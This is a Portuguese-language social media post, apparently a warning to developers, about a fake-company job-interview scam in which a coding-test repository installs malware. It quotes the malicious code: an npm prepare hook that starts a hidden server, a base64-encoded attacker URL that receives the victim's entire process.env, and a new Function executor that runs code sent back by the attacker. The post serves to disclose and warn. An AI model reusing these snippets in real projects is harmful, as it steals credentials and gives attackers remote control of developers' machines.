Tem empresa falsa aplicando golpe em dev com entrevista de emprego. o processo é completo, com recrutador no linkedin, videochamada em sala chique e teste técnico q na verdade é malware pra roubar carteira crypto e executar código remoto na sua máquina.
o golpe começa com um recrutador falso te abordando no linkedin oferecendo vaga sênior pagando 180k USD por ano. o perfil é bem montado, tem foto, conexões, a empresa tem site corporativo e página no linkedin com descrição de cargos. eles fazem entrevista por videochamada, falam do time, dos projetos, tudo muito convincente. os caras são bem vestidos, escritório top, americanos. mas é tudo estelionato. 171.
num determinado momento pedem pra vc clonar um repositório privado da "empresa" e rodar npm install && npm start pra resolver um desafio de código. isso é uma prática super comum em entrevista legítima, por isso q funciona. depois de rodar a aplicação, eles pedem pra vc conectar sua carteira crypto na app, tipo metamask, supostamente pq a empresa trabalha com web3 e defi.
o package.json tem um hook prepare que dispara automaticamente só de rodar npm install. nem precisa do npm start. o hook é esse aqui:
"prepare": "start /b node server || nohup node server &"
o prepare é um lifecycle hook do npm q roda depois da instalação das dependências, automaticamente. o servidor malicioso sobe em background e vc nem vê. num dos repositórios analisados tinha até um nohup.out residual mostrando q aquilo já tinha rodado em outras máquinas antes.
o código de autenticação do app é um teatro. a verificação de senha é isso aqui:
const isMatch = true; // password check sempre retorna true
qualquer email e qualquer senha logam. eles não tao nem aí pra auth, só precisam q o servidor fique rodando na sua máquina.
depois q o servidor sobe, ele manda todas as suas variáveis de ambiente pra um domínio no Vercel controlado pelos atacantes. process.env inteiro. isso inclui chave AWS, token de API, variável de banco de dados, secrets, tudo q tiver no seu .env. a URL do servidor de callback fica escondida em base64 no código:
const setApiKey = (s) => atob(s);
const verify = (api) => axios.post(api, { ...process.env }, ...);
depois de mandar teu env inteiro, o servidor espera uma resposta do atacante com código arbitrário e executa com acesso total ao Node:
verify(setApiKey("aHR0cHM6Ly9nYW1ib3JhY2xlLnZlcmNlbC5hcHAvYXBp"))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
});
isso significa q o atacante pode instalar keylogger, roubar chave privada, exfiltrar arquivo, usar sua máquina como proxy, drenar carteira crypto, absolutamente qualquer coisa. o payload é decidido remotamente, eles mudam o q o malware faz a qualquer momento sem precisar te mandar nada novo. e tem mais de um domínio no Vercel de fallback, então se um for derrubado os outros continuam funcionando.
ainda tem endereço de contrato e de depósito na BSC hardcoded no código, tudo apontando pra carteira dos atacantes. se a vítima conecta a metamask, o malware consegue iniciar transação diretamente.
a empresa falsa tem várias vagas abertas e continuam abordando dev no linkedin. qlqr um pode cair.